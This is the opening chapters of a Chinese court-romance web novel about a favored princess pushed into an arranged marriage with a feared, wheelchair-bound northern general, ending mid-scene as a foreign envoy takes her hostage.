《被迫嫁给短腿将军后》
1. 初遇。
大梁朝,景华二十八年。
夏末骄阳似火,炙烤着皇宫各个角落,午后刺眼的阳光穿透树叶缝隙,零零碎碎洒在锦绣宫主殿的门前。
太后身边的掌事赵嬷嬷手端懿旨站在廊下,看着面前紧闭的屋门问道:“公主昨夜又饮酒了?”
“回嬷嬷,陛下病重后,公主日夜忧心,这些日子又常常因婚事被那些皇子围追堵截,心情不好,昨夜多饮了些酒。”
赵嬷嬷表情严肃,又是得了太后之令来的。
景回的贴身婢女阿鱼上前一步,低声解释道:“嬷嬷也知道,他们哪是真心为公主婚事着想,不过是为了让公主早早离开陛下,离开皇宫。送来的画像简直丑的人眼睛疼,家世也根本配不上公主……”
事实上,在整个上京乃至大梁,都无人能配上这景文帝捧在手心里长大的嫡公主。
赵嬷嬷听着阿鱼的絮叨,眼神复杂地看了眼手中懿旨。
“阿鱼——”
屋内传来少女的轻唤,是景回醒来了。
“奴婢在!”
阿鱼向赵嬷嬷行了一礼,边应着边快步往屋内走去,赵嬷嬷则端好懿旨,跟在她之后进去殿中。
轻薄的帷幔挡住外头刺眼的光芒,殿中茉莉花香扑面而来,架上摆满的珍奇摆件和稀世异宝折射着不同的光芒,似是走进奇幻瑰府之中。
景回爱这些闪闪亮亮的东西,景文帝便寻便天下宝物送来爱女跟前。
一路行至寝殿内,床上的少女正在缓慢舒展手脚。
她穿着寝衣,肤色莹白如玉,十指握拳高高举过头顶,泛着微粉的脚尖轻轻下压,如山峦般起伏的身姿缓缓上撑,随着一声嘤咛,又软软陷入被褥中。
赵嬷嬷请安道:“奴婢参见公主,公主万安。”
景回昨夜饮了整整两大坛子紫金酒,醒来时还有些晕晕乎乎。
她正仰躺着放空,等阿鱼端水来喝,乍一听见赵嬷嬷的声音还愣了下。
“起来吧。”
景回偏头,看见赵嬷嬷手中懿旨,坐起身问道:“嬷嬷怎么来了,是祖母那边有何事吗?”
赵嬷嬷举起手中懿旨道:“是太后有令,还请公主接旨。”
景回下床,心中边疑惑着何事这般劳动太后,边伸手接过懿旨打开。
上书内容逐渐跃入眼帘,景回越看,抓着懿旨的手越紧。
待看到最后一行字,她猛得抬起头来,桃花眸中装满了不可置信。
“懿旨中所写的陆颂渊,可是近来上京所传在北境屠城掠人,无恶不作陆颂渊?”
赵嬷嬷迟疑着点头道:“正是陆将军。”
“皇祖母给我和那个煞神赐婚?”
景回登时上了火,“本公主不嫁!是不是景傲从中作怪,我要去找这个混蛋算账!”
景傲是景文帝的长子,众皇子大臣之中便是他与景回最不对付,也是他最着急景回的婚事。
“并非,公主……”
景回将懿旨摔在床上,扯过一旁的薄纱披风就往殿外跑去,赵嬷嬷和婢女们吓了一跳,都连忙追上。
“公主!”
“殿下留步!”
“公主!二皇子并没有掺和!”
景回闷头冲到廊下,还是被赵嬷嬷挡住了去路。
赵嬷嬷跑到景回面前跪下,拦住她道:“太后料到公主会有如此反应,她吩咐老奴转告公主,公主若是想解惑,还请直接去养心殿,太后在那等您。”
景文帝病重之后,一直都在养心殿养伤。
景回问道:“我父皇醒了?”
赵嬷嬷道:“奴婢不知。”
方才那股冲动的劲儿已经下去了,景回深呼口气,道:“知道了,阿鱼,更衣!”
拿着衫裙追上来的阿鱼气喘吁吁,“是!”
-
景回到养心殿时,殿前并未有每次景文帝醒来那般兵荒马乱,还是一如既往的安静。
景文帝身边的大太监宁禄见景回来了,堆着一脸笑上前行礼道:“老奴参见公主,公主万安。”
“公公不必多礼。”
宁禄哎呦一声,笑眯眯说道:“太后娘娘前脚刚到,殿下您就来了。”
“父皇可醒来了?”
宁禄摇摇头,叹道:“并未,陛下已经睡了整整一日了。”
“本公主进去看看。”
“殿下请。”
养心殿中,厚重的帷幔挡住大半日光,衬得白日如黄昏般昏暗,汤药的苦味扑面而来,似乎味道比昨日晨起她来时更重了。
景回走进去,一眼就坐在窗边榻上低头看书的太后。
桌上烛火照在她脸上,忽明忽暗。
景回从来与太后不亲近,在模糊的幼年记忆中,她的母后似乎也与太后之间有什么龃龉。
“孙女见过皇祖母,祖母万安。”
太后抬头,垂眸扫过景回,“起来吧,坐。”
“谢皇祖母。”
景回坐在一旁,看向太后。
先帝早逝,景文帝幼年登基。当时朝中动荡不安,四方强敌虎视眈眈,是太后垂帘听政帮扶朝政。
甚至在强敌来犯之时,太后不顾阻拦,强行带着年幼的景文帝前去战场,坐镇中军,最终大获全胜。
可以说如今的大梁有此盛世,完全脱不开太后功劳。
后来景文帝亲政,太后便在慈恩宫中安心种花养鸟。近来景文帝病重,太后应众臣所邀,偶尔也出来主持朝政。
这些年过去,她面容虽愈显慈祥,身上那股威严却丝毫不减。
太后放下书,给景回斟了杯茶,开门见山道:“收到哀家的懿旨了?”
“是。”
景回看向太后,“敢问皇祖母,为何如此安排我的婚事?”
太后看着景回愤愤的模样,忽而笑了。
“你可是觉得,哀家是见皇帝过于疼你,生怕你像你母亲那般祸乱朝政。哀家要为那些皇子扫清障碍,才这般做的?”
“非是祸乱。”
景回说道:“父皇身弱,母后照顾父皇的同时,像祖母从前一样帮扶朝政。那时朝中安稳,无一人说母后不好。缘何到了皇祖母这里,母后就是祸乱了?”
“哀家不与你扯陈年旧事。”
太后淡淡哂笑,“你母后不是祸乱朝政,可你却是如今朝廷动荡的最大原因之一。”
景回嘴角微沉,眸色黯黯看着太后。
她说的没错。
天下皆知,景文帝与慧孝皇后伉俪情。
景回身为两人唯一的血脉,自落地起便被景文帝捧在手心里长大,是要风得风要雨得雨,慧孝皇后薨逝后,景文帝疼爱她更甚。
待稍稍长大些,景文帝见景回慧心巧思,人品贵重,便亲自去请帝师出山,暗地里将她当做储君培养了起来。
景文帝多子,且多皇子,纵是景文帝不说,他们心里也门儿清景文帝的打算,早就不满景回虚占这储君之位。
是以这遭景文帝方得急症病重,各皇子们背后的势力便开始蠢蠢欲动,都张罗着想让景回快些嫁人,且嫁入自己的阵营。
一来,这一出嫁便是外人,景文帝无论如何也不能再立景回为储君,让她继承大统。
二来,将来景文帝想立储,他也必定会选于景回有利,能给她撑腰,保她一世的皇子。
众皇子和大臣无心朝政,四下给景回搜罗画像,拼命往她宫里塞,景回不胜其烦。
朝中那些忠于景文帝的老臣知晓此事后,自然是站在景回这边。
每每上朝各方势力都要争吵,偌大朝堂如菜市场般,连带着朝局都开始动荡。
“因为你的婚事,不是吗?”
景回想说什么,太后抬起手臂制止她,“哀家相信皇帝就算是在病中,也能处理好朝中事。但此次为你和陆颂渊订婚,并非只是为了稳定朝纲,更是为了你父皇的身子。”
景回下意识看向景文帝,见景文帝在床帐遮挡下胸膛规律起伏着,睡得正好。
她皱皱眉,“祖母这是何意?”
“朝廷内部动荡,你父皇尚且能压住。但那远在北境,土生土长,手握边关二十万大军,从未见过你父皇的将军,以你父皇现下模样,可就未必能压制得了了。”
景回一愣。
“北境之地的混乱你也清楚。”
太后道:“陆颂渊比之过去任何一位北境统帅的势力都要大,都要难对付。”
大梁幅员辽阔,分为北境,南疆,东海,西岭四处。
其中东西南三处的镇守大将都是有功与朝廷且终于皇帝而晋升的人,兵权大握在每朝皇帝手中手中,兵任之人也都是每朝皇帝亲自调度,唯独北境除外。
北境兵权从圣祖皇帝之时,因一错误决定开始便流落在外,至今已有数百年,此后,便是每任皇帝的心头病。
此心病,并非是因为简单的兵权不在朝廷。
更是因为北境地处大梁和几个势力较强的外邦部落之间,曾有人亲眼见北境兵将中有大梁朝通缉要犯,也有人见北境有兵将与外邦部落来往,更有甚者说他们迟早要谋反。
总而言之,上京与北境多年不联系,得到消息多是道听途说,是以在景文帝和朝廷众人眼中,北境之内混乱不堪,甚至会威胁朝廷,迟早要出兵平叛。
陆颂渊的大名,是近来才传遍上京的。
传闻中,他虎背熊腰,青面獠牙,仅带千人便将北境之内统一,而后带兵横扫外邦,所到之处屠/城,虐/杀,鞭/尸,处处布满血雨腥风。
将北境之外虎视眈眈的三部之一的重沙部落,直接灭族并入大梁为重州后,他势力越发壮大,所得兵权尽数握在手中。
他本想一鼓作气,将其余两个部落也灭掉,却在行军时不慎被暗杀毒伤双腿,再不能站起来。
此战传遍天下,百姓对这个将军是又爱又怕。
景文帝和太后召众臣商议过后,一致要求趁他伤重召陆颂渊回京,断不能准许他这般下去。
而这陆颂渊手握北境之大权回京,是断断不能降罪的。
太后如今以联姻之名与陆颂渊表亲近,便可知陆颂渊如何令朝廷人忌惮。
忌惮之余,景回不免有些钦佩。
英雄嘛,无人不向往。
但若让景回嫁给他,她不愿。
“他既然肯听父皇之命乖乖回京,可见并无不轨之心,这般强行赐婚,若他不愿,岂非激怒他。”
“天下只有一个皇帝。如你所说,他若并无不轨之心,便不
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会被激怒。”
太后站起身,看了眼床上熟睡的景文帝,低声道:“哀家的懿旨还未下放,你若不愿,哀家也不强求,无非你父皇拖着病体,多费心与他周旋罢了。”
太后说完后,转身就走。
走了几步后,太后顿住脚步,又道:“你父皇方才,咳血了。”
门扉轻轻合上,桌上的烛火在景回眼中跳了跳。
她闭上眼,再睁开时,整根火烛已然熄灭。
太后不愧是太后,三言两语就能捏住她的命门。
明知道她最是担心皇帝的身体。
景回僵硬地站起身,走近床边看着景文帝的睡脸,半晌后,咬咬牙往外走去。
门外,赵嬷嬷已然手中端着华服等在那里。
“公主殿下,这是太后娘娘为您准备的宫宴华服,明晚太峦殿会设宴,为陆将军接风洗尘,敢问公主可去?”
去,便是应了这圣旨,不去……
无不去的可能。
景文帝最疼景回,景回知道北境兵权向来是景文帝的心头病,她不能不顾景文帝的身子。
“阿鱼。”
阿鱼上前接过赵嬷嬷手中华服,跟在景回身后,黑夜降临之前的几缕光倾泻在她翻飞的袖袍上,只留下阵阵风声。
-
隔日晚间,景回穿上太后送来的华服,坐着软轿前去太峦殿。
火红的华服衬得她苍白的脸倒是有了些血色,一路到了殿前,景回拾级而上时,瞥见两侧侍卫皆身穿黑甲,面容肃穆。
他们气势凛然,带着股肃杀之气,虽并未持有兵器,但若有人造次,顷刻便会死在他们手下。
“这些人似乎不是御林军。”
阿鱼随着景回的目光看去,低声回道:“回公主,奴婢听说这些人是陆将军带回来的北境军。”
兵将这般气势,不知正主是何模样。
景回收回目光,问道:“父皇可醒来了?”
阿鱼回道:“宫人来报,陛下今日身子不错,早早便上朝了。”
景回点点头,往殿内走去。
殿中,来参加晚宴的皇子公主及大臣妃子们都已经到了,景回缓步走进去,并未看见有身坐轮椅之人,倒是一眼看见了背对门口端着酒杯手舞足蹈的景傲。
景傲身形肥壮,华服穿在他身上,显得十分臃肿。
景回与他向来不对付,刚想走去座位上坐下,便听见景傲大笑着喊她名字的声音。
“景回一小小女子,早些日子不选本殿给她找的人,还对本殿恶语相向!这下好了,祖母把她许给了那煞神,谁人不知陆颂渊凶恶残暴,还是个断了腿的!本殿就等着看,新婚后回门,她能不能走出将军府。”
景回脸一沉,抬步就往那边走去。
那群官员看见景回来了,拼命朝着景傲眨眼示意,偏景傲未知未觉,嘲讽的语气甚至还大了些。
“父皇从小到大培养精心培养她,她脑子还如此不灵光。别的不说,那陆颂渊在房事上都满足不了她吧哈哈哈……”
景回被这蠢货气笑,凑近景傲耳边阴森森开口问:“是吗?”
“自然。”
景傲接话后发觉声音不对劲,猛地转过头去。
景回姣好的容颜近在眼前,景傲甚至看清了她鼻梁上面的小痣,他吓得一哆嗦,杯中酒洒出大半,脸憋得通红。
“说啊,怎么不说了?”
景回缓缓直起身,冷眼看着他开口问道:“不敬父皇和太后,背后造谣护国功臣,恶意编排本公主。这便是悦嫔对皇长子的教养吗?”
悦嫔是景傲生母,因前些日子在御前侍疾时争风吃醋,现下正被太后禁足。
景傲僵硬的脸色变了下,“本殿实话实说,他陆颂渊就是断了双腿……”
“那又如何?你能在此夸夸其谈,便是因为他的缘故。他是我大梁的功臣,回京之后父皇都要封赏,你是以何种身份这般说他。”
景回长眉微扬,斜晲了景傲一眼,“再者,她是本公主的驸马,行事如何,身子如何,只有本公主才可说,何时轮得到你来说了?”
景回极其护短,她身边亲近的人都知道。
有了太后懿旨,她自然默认陆颂渊是她这边的人。
当庭折辱他,在景回心中,与折辱自己无异。
其实更多,景回就是想找个由头揍景傲一顿,发泄一下她内心的烦闷。
殿中一时安静下来,景傲被景回训了一顿,面上挂不住,还想说什么,景回直接伸手拿过一旁桌上的酒杯,朝着景傲泼了过去。
“洗洗你的脏嘴吧。”
“啊!”
酒液溅到景傲眼睛里,刺得他大叫。
还不待景傲反应,景回又一脚踢在他膝上,景傲一时没站稳,后退几步踉跄地倒在椅子上。
“景回!你疯了!你敢打本殿下……”
“殿下!”
“您没事吧?”
身边大臣和侍卫们慌忙上前扶住他,乱做一团。
“本公主就打了,如何?”
景回才不想看景傲的丑态,她哼笑一声,准备去座上坐下。
只是这一转身,景回瞬间愣在了原地。
身后不知何时来了三人。
2. 赐婚。
他们虽穿着宫宴华服,但显然不是上京贵门中人。
尤其是中间端坐轮椅之人。
他长眉似剑,双眸似浸过寒冰,存着一股戾气。唇角抿住,脸上一丝情绪也无。
他身穿锦绣玄衣,浑身被肃杀之气包裹,整个人犹如生长在北境滚滚黄沙之中拔地参天的大树,佼佼不群。
哪怕坐在轮椅上,仍气势凛然,不怒自威。
这人是,陆颂渊?
可他的相貌与传闻相差也太远了吧,气势也逼人。
武将参加宫宴都不能带佩剑,他倒好,轮椅两边各一把,就那般明晃晃地插着。
景回心中默默说了句果真好凶,不自觉向后退了小半步。
陆颂渊注意到景回的动作,伸出手搭在轮椅扶手上,广袖垂落遮住大半佩剑,他抬头对景回行礼道:“臣陆颂渊见过公主殿下,公主安好?”
果真是他。
景回一时发了愣,连害怕都忘了。
心道这传闻也太离谱了,跟本人丝毫不搭边啊。
景回看着陆颂渊的目光太过直白,陆颂渊唤了句:“公主?”
景回回过神来,轻咳一声道:“嗯,将军也安好。一路可还顺利?”
“托公主殿下的福,一切顺遂。”
“那便好。”
景回点点头。
话毕,她与陆颂渊一站一坐,相顾无言。
沉默伴随着一丝莫名的情绪逐渐蔓延,从殿外吹进来的夜风无声流转在二人之间,景回耳边逐渐安静下来。
不知过了多久,门口太监的喊声传来,“太后娘娘驾到——”
太后?
景回的注意力被吸引过去,她转头看向门口,果真只见太后一人前来赴宴。
众臣赶忙起身行礼,“臣等参见太后娘娘。”
皇子公主们紧随其后,“孙儿,孙女拜见皇祖母,祖母万安。”
太后走过景回面前,看了眼她身边的陆颂渊,又看了眼景回。
走到上座之后,她道:“平身吧。”
“谢太后。”
众人落座,有惦念景文帝之人上前问道:“敢问太后娘娘,陛下晨起还在上朝,现下未来,可是身子有何不适吗?”
太后叹了口气,“皇帝下朝回去后,又昏过去了,现下还未醒来。”
“啊?”
“那太医可看过了!”
堂下炸开了锅,太后稍待片刻后抬了下手,堂下立刻安静,她道:“太医诊过脉,说是劳累,是以今日无法亲临迎陆将军,只好哀家来了。”
堂下又是一阵骚乱,景回转头看向陆颂渊的座位,只见他还是那般表情,吩咐副将推他上前,给太后请安。
“臣陆颂渊参见太后娘娘,娘娘万安。”
陆颂渊说完后,准备跪下请安。
太后挑挑眉,看着陆颂渊。
只见他伸出手臂搭在轮椅扶手上,双手用力握紧,手背青筋毕现,身子向前倾着,可见是在用尽力气努力站起。
殿中众臣也屏气凝神,与太后一同看着他。
他们既想一睹传言中战神的风姿,又怕他真的站起来。
毕竟上京众人对陆颂渊的恐惧,更多来源于未知。
不知他从何而来,师从何处,为何忽然发兵北境,又为何乖乖听令回京。
轮椅扶手被按得吱呀作响,陆颂渊双腿颤抖,身子离开身下座椅半寸后,又重重砸回原地。
景回略通医术,她观陆颂渊衣袍下一瘦一粗的双腿,知他恐怕是站不起来的。
陆颂渊又试了几次,果真无一都是起身半寸便摔回轮椅,无法站起。
殿内落针可闻,后方不知哪个武将起头,略带嘲讽地笑了一声,有不少人也开始跟着偷笑起来。
“罢,不必行大礼了。”
太后靠在椅背上,问陆颂渊:“你这腿,可找人看过了?”
“谢太后。”
陆颂渊坐回轮椅,喘了几口粗气后说道:“在北境之时,有军医和民间大夫为臣看过,他们道臣的腿已毒入血脉,筋骨具断,日后……怕是难再站起来了。”
“皇帝念你劳苦功高,为大梁平北境之乱,现又为国伤了腿,可在京中好好休养。”
听出他语气中的不甘,太后翘了下唇角,随后安抚道:“毕竟日后你是要做驸马的人,身子养得好些,于公主也有利。”
此言一出,殿中又有片刻的安静。
景回感受到太后看来的目光,偏头看向一旁,不言。
她也并未听见陆颂渊的声音。
“六公主景回已到适龄,你也未曾婚配,今日哀家带着皇帝的圣旨来,给你二人赐婚。”
太后道:“钦天监已合过你二人八字,礼部也在着手喜事之中,皇帝特赐了一座宅子,给你二人做婚房,可有异议?”
短短几句话,就将婚事定的明明白白,景回感受着四面八方投来的目光,转头看向陆颂渊。
她是被迫答应了,陆颂渊可未必愿意。
古往今来,公主下嫁无党无派,权利过大的权臣,通常后者不会有什么好下场。
要么是大权旁落,要么是因党派之争不得善终。
陆颂渊但凡有点脑子,都不会想要沾染皇室,待他交出兵权,景文帝和太后愿意放人了,回北境去做个土皇帝,都比在这四方的上京中好。
“臣愿意。”
?
景回瞪大双眼,疑惑方才是不是听错了。
“臣本草莽,因得陛下和太后垂青,得娶公主,臣感激不尽。”
陆颂渊一脸正色,“日后成婚,臣定会好好疼爱公主,事事以她为重,不叫她受一点委屈,还请陛下,太后还有公主放心。”
这话说的怎么这么不对劲呢?
还不待景回细细思索,太后的目光便压了过来,她咬咬牙,站起身走到陆颂渊身边。
二人视线短暂相接,景回眼神似乎要冒火,陆颂渊到还是那副淡淡的模样,他看了景回一眼后,又挪开了目光。
“孙女接旨,谢父皇和皇祖母赐婚。”
景回方一应下,殿中似炸开了锅,众臣立马上前贺喜,其中还包含不怀好意走来的景傲。
“呦,妹妹和陆将军大喜啊。”
景回草草谢过众臣,斜晲了景傲一眼,没管后者的挑衅,自己蔫蔫地走回座位上坐下。
圣旨一发,这是真的定下了。
景回抄起面前酒杯猛灌一口酒,长长地叹了口气。
“阿鱼,倒酒!本公主今夜要大醉一场!”
阿鱼抱着酒壶,无奈道:“是。”
一杯接着一杯,不知喝了多少,面前忽然传来一道呵斥。
“整日抱着酒,成何体统。”
太后不知何时走到景回面前,景回闻言愣了楞,晃了下身子,慢慢起身道:“皇祖母。”
太后道:“今晨你父皇是为你写完赐婚圣旨之后,才又昏过去的。”
景回猛
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地扬起头,“父皇他可还好?”
“自有太医照看,暂无大碍。”
太后瞥了眼景回手中酒杯,责道:“身为公主,一股子市井女子流派。明日起回宫待嫁,不许再饮酒!”
婚事不能做主,这喝酒还要被人管着吗?
景回难得跟太后顶嘴,“我千杯不醉,喝酒也不会误事,不牢祖母惦记。”
此话一出,周围安静几瞬。
太后看着景回,半晌后笑了下,说道:“随你,迟早有一日,你得栽在这酒上。”
太后说完后转身出殿,景回朝着她的背影努了努嘴,继续吩咐阿鱼:“倒酒。”
这厢景回喝闷酒,那厢陆颂渊被围在殿中间,也喝了不少。
不知他跟景傲说了什么,景傲大笑声不断,聒噪得很。
景回眼神迷离地瞥了眼那边,又收回目光。
她一手撑头,一手转着酒杯把玩,鎏金酒杯在手中转了几个来回,金光晃得景回眼前越发的晕。
“阿鱼,给我倒一杯茶。”
没听见阿鱼的声音,倒是有一杯茶递来了面前。
景回伸手去接,那握着茶杯的手忽然出现了好几个,她怎么也抓不住,最后索性张开唇瓣往那杯子前趴了趴,“你来喂我。”
说罢,景回竟莫名从一只手身上看出了愣住的表情。
“嗯?”
景回脸颊脸侧浮起两片粉红,一双桃花般的眸子似被水打湿。
“怎么了?本公主要喝水!”
方才吩咐阿鱼出去,这就忘了。
陆颂渊无奈地看着这醉鬼,一手滑动轮椅往前挪了挪,茶杯抵在景回唇边,看着她道:“喝吧。”
“唔。”
景回丝毫没察觉到不对劲,她闭上眼,伸出手握住面前的手臂,仰着头喝水。
吞咽的声音不大,陆颂渊却听得清清楚楚。
他鬼使神差地盯着景回咬着杯沿的唇瓣,水浸染下,那唇瓣愈发鲜红,他喉结滚了滚,莫名觉得舌下发痒。
景回喝完后离开杯沿,一滴水珠顺着她的唇角流向下巴,陆颂渊犹豫片刻后伸出食指,轻轻给她蹭掉了。
陌生的触感使景回清醒了些,她趴在桌上眨了眨眼,看清眼前人后讶道:“怎么是你?”
陆颂渊收回手放在腿上,湿润的手指捻着,说道:“方才见公主喝的有多,身边又没人伺候,特来看看。”
“咦?传闻中凶神恶煞的大将军,居然也会关心别人的死活吗?”
陆颂渊不言,景回猛地直起身子问道:“这茶杯中不会有毒吧?”
陆颂渊看着她发酒疯,“没有,臣岂敢毒害公主。”
“哼。”
景回松了口气,又趴回桌子上,她枕着手臂看向陆颂渊,水眸一眨不眨。
今日之前,陆颂渊此人仅存在于传闻之中,传的多了,景回愈发觉得他凶恶残暴。
方才离得远,她亦是对陆颂渊有些害怕,现下经过赐婚一事后又离得这样近,景回倒是一点都不怕他了。
“陆颂渊。”
叫了人又不说话,陆颂渊看着她问道:“怎么了?”
景回撑着桌子起身凑近他,一手扶在轮椅扶手上,一手伸出纤细柔软的手指,点在陆颂渊胸口之间的位置。
“你对我……”
她靠得太近,陆颂渊皱着眉上半身后仰半分,景回又追上,她眼尾噙着笑,说一个字点一下陆颂渊的胸口,“心,怀,不,轨。”
3. 威胁。
茉莉花香阵阵,从张合的红唇溢出,涌入他鼻间,陆颂渊喉头一紧,连呼吸的速度都放慢了。
沉默片刻,陆颂渊道:“臣不知道殿下在说什么。”
景回哼笑,点着他的胸口又肯定地说了一遍,“应下这门婚事,你心怀不轨,另有所图。”
陆颂渊任景回的手作乱,他道:“公主醉了,早些回去歇息吧。”
她话音刚落,阿鱼从殿外匆匆走来,“公主,您怎么又喝了这么多!”
“不多,也就三,五坛吧。”景回转头看向阿鱼,边说边往下栽,“别吵,我要睡了……”
“公主!”
-
大梦一场,隔日景回醒来之时,没有宿醉一夜那种熟悉的头疼,倒是额角之处有中陌生的疼。
她伸手摸了下,竟然摸到一个包。
“阿鱼!”
景回猛地坐起身,问急忙跑进来的阿鱼道:“我的额角为何无缘无故肿了个大包?”
阿鱼拿起一旁的镜子,景回凑过去照了照,额角发际处果真一片红肿。
“昨日您吩咐奴婢去给五公主送宫宴糕点,奴婢回来之时,您正在跟陆将军说话。”
阿鱼顿了下,看了眼景回骤然瞪大的桃花眸,小声说道:“不知您二位说了什么,您就……”
“我就怎么?”景回没好气地问。
阿鱼没有停顿地说了一长串:“您就一头撞进陆将军怀里了,不仅如此,您的手还死死拽着陆将军的衣领,拼命往他怀里钻。
当时宴会上许多人都看见了,陆将军让身边女副将将您送回宫中来,奴婢和女副将费了好大力气才让您松开手,结果您一直叫陆将军的名字……”
我千杯不醉……
言犹在耳,简直是报应!
景回抱着被角狠狠躺回枕上,她明明记得昨夜喝酒喝的好好的,怎么会跟陆颂渊搅在一起!
一定是他自己找来的,景回在心中骂了陆颂渊千万遍。
骂累了,景回起身喝了口茶水,说道:“选些女子喜爱之物给那位女副将送过去,就说本公主多谢她了。”
“是,奴婢已经吩咐人去送了。”
阿鱼道:“公主,今晨陛下派人来,说昨夜他未能起身,来上京进贡的六国使臣也没能送上贡品,陛下今日午后将在御花园接见众臣纳贡。请公主醒来后,便过去御花园先挑选些贡品。”
"我父皇醒了?"
“是。”
阿鱼道:“公主现下可要过去?”
“去!”
景回一左一右蹬上鞋子,接过下人们递来的洗漱用具,收拾过后换上一身水洗蓝裙,往外跑去。
阿鱼跟在景回身后,“公主您慢些!不要摔倒了!”
见景文帝心切,景回到御花园时,还未到约见时辰。
一箱箱贡品早早摆在园中,几乎占满了整个御花园,景回缓步走到那些贡品之间,左右看了看,叹道:“今年的东西很多嘛。”
话音刚落,身后传来一声中气十足唤她小名的声音,“阿珠。”
阿珠为景回的小名,是慧孝皇后以掌上明珠之意取来的,除了她和景文帝,无人这般唤景回。
景回转身看去,果真是阔步走来的景文帝。
他身后由人推着走来的陆颂渊,陆颂渊身侧半分则是后宫之中的众嫔妃及皇子公主们,倒是没看见景傲,而缀在最后的便是那前来上贡的外邦使者。
“父皇!”
景回眼睛一亮,快步跑过去行礼,“儿臣参见父皇,父皇身子可大好了?”
“好多了,见到阿珠心中愉悦,便更好了。”
景文帝年幼登基,勤于朝政,对习武并不热衷,是以大病一场,景文帝身形显得愈发消瘦,连以往合身的龙袍都显得宽大许多。
景回眼眶热了下,抱着景文帝的手臂小声道:“父皇就会哄我!”
景文帝哈哈一笑,那笑声如洪钟,听上去确实大好。
景回也跟着笑笑,转身去给各位娘娘行礼,景文帝的目光一直跟随着她的身影。
直到景回走回来,一直在旁未言的陆颂渊才向景回行礼:“臣见过公主。”
景回转头看向陆颂渊。
今日他褪去黑袍,乌发高高束起,头戴红玉冠,一身轻薄的暗红劲装端坐轮椅,如上京打马游街,陌上如玉的少年。
呼吸起伏间,还隐约可见胸腹衣料包裹之下隆结的筋肉。
难怪能给她的额头撞出包来。
意识到视线落在何处,景回连忙移开视线,略行一礼,“将军安好。”
真是奇了,总看着他出神作甚!
景文帝视线在二人之间看了一圈,收了脸上的笑,走上前去坐在龙椅上道:“各国开始上贡品吧。”
“是。”
景回转身走回座上,见陆颂渊身后副将把他推到了距景文帝不远处的台阶下,随后便独自走去一旁布置兵力。
不过片刻,御花园的花草之后便有序站上了身穿黑甲之人。
景回收回目光,这厢已众人落座,宁禄请示过景文帝之意后,便拿着礼单逐个清点。
一抬抬贡品从花园入口抬进来,核对过后又从两侧抬出去,长且有序的一线一眼看不到头。
约莫过了一个时辰,礼单上的贡品终于入库,接下来便是各国国主亲自选出送来的珍奇之物了。
这些贡品,是各国乃至天下最稀奇之物,有银子都无处可买。
景回直起身,看向面前依次落地的几个黑檀木箱,一箱箱贡品打开,青天白日里每个箱子都能亮出不同的光芒,金银元宝在其中都显得不足为奇。
众人都前倾着身子,看花了眼。
各国使臣依次上前介绍贡品,待说完后,景文帝从龙椅上走下来,在众多贡品面前走过,最终脚步停在了戎袭国的箱子前。
戎袭国今年送来的乃是举世无双的金纱彩锦,日光落在那彩锦之上,现多重耀眼的光芒。
景文帝低头看着那箱子,忽然想起了慧孝皇后。
多年前,她最爱这锦了。
身后众妃低声议论,“嚯,果真是金纱彩锦,真是十年一见啊。”
“上次见着金纱彩锦,还是慧孝皇后在时。那次祭祀登阶之时,日光落在娘娘上,照的她恍若仙人降世。”
“不知这一匹值万金的布,陛下会赏给谁。”
“有人早就看上了,总归不会赏给你我。”
闻言景文帝抬头,一眼便看见景回眨着亮晶晶的双眸,眨也不眨地盯着那箱彩锦。
他失笑,唤道:“阿珠,过来看看。”
“是。”
景回站起身,提裙小跑两步,凑到景文帝身边问道:“这便是金纱彩锦?”
一侧的戎袭使者笑眯眯上前,操着一口不太流利的大梁话说道:“是也。公主请看,夜间这金纱彩锦似月光织就,若银白羽翎。白日再看此锦便似容纳天地间所有色彩,于种种光照下皆不同,若仙光闪耀。做成衣裳穿在身上别提多美了。”
景回点点头,“确实好看。”
“陛下,公主,还有陆将军明鉴。”
景回听见陆颂渊的名讳,转头看了一眼,正对上那人黝黑的眸子,不知他何时来到她身后的。
“此锦戎袭举全国之力,一月仅能产三尺。此次听闻周边盟友前来给大梁进贡,我王将全国余存全部拿出进献,还请陛下笑纳。”
前些日子的动乱,北境六国之中,只有戎袭一国未曾参与,此事景回事知晓的。
“你们国主有心了。”
景文帝朝着景回笑了下,宠溺地说道:“这般好物不常见,正巧该做秋装了,便全部赏给阿珠吧。”
景文帝话音刚落,周围便传来抽气及窃窃私语的声音。
景回扬唇一笑,欢喜道:“多谢父皇,您最疼我啦。”
“讨朕的阿珠欢心,这些算得了什么。”
景文帝刮了下景回的脸,说道:“去看看可还有别的心爱之物,一并由你先挑着拿走。朕乏了,便先回养心殿歇息,你慢慢挑。”
“多谢父皇!”
景回刚展开的笑颜间爬了一抹愁绪,闷声道:“儿臣晚间再去看父皇,恭送父皇。”
“好,朕等你。”
“恭送陛下。”
众人送走皇帝后,那戎袭使者让开路,景回让宫人将那
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箱金纱彩锦合上放去阿鱼面前,便独自穿梭在宝箱之间挑选。
左看右看,看花了眼。
其余五国使臣见状都走上前去,纷纷围住景回争相要给她介绍。
身侧无一熟悉宫人,景回皱了下眉,偏头躲避之时正好撞上陆颂渊的目光。
只见他面色骤冷,朝着黑甲兵说了句什么,那黑甲兵便朝着她走来了。
景回察觉到不对劲,刚想让使者们退去,耳侧便传来一阵劲风。
电光火石间,景回感觉到双手被人猛得拽住束缚在身后,脖颈上抵上了一把冰凉锋利的匕首。
“公主!”
阿鱼尖叫一声。
变故来的太快,御花园瞬间骚乱起来。
众人来不及跑走,宫嫔太监们尖叫不断,哪怕黑甲兵动作极快,有几个宫人还是被不知从何处出现的十几外邦人用长刀抵住脖子。
他们威胁着道:“不想死的都别动!”
众人被按在原处不敢乱动,只有景回被挟持到众人前面,离她不远处就是端坐在轮椅上的陆颂渊。
推搡间刀尖似乎划开了颈间,景回感觉到有鲜血从口子流出,她疼地闭了闭眼,咬牙问道:“有话好说,你想要什么。”
那人看了景回一眼,又勒紧了她往陆颂渊面前走了走。
他呼吸粗重,嗓音似破钟般嘶哑着洪亮,说着蹩脚的大梁话,“让你的未婚夫把塔干还给我,我就放开你!”
一瞬间,景回便知道自己因何被绑架了。
身后之人是驼风部落的使者,塔干乃是他们国主调兵的兵符。
驼风国主被砍头后,陆颂渊在驼风族内寻了一亲近大梁之人上位,之后那塔干就不知所踪了。
去往何处,恐怕只有陆颂渊知晓。
景回艰难地看向陆颂渊,只见陆颂渊一副事不关己高高挂起的模样,她紧张道:“你找他要东西,绑本公主做什么!”
驼风使者不再与景回说话,对陆颂渊说道:“你的未婚妻在我手里,把我们的塔干还给我们!”
陆颂渊不言,面上无一丝波动。
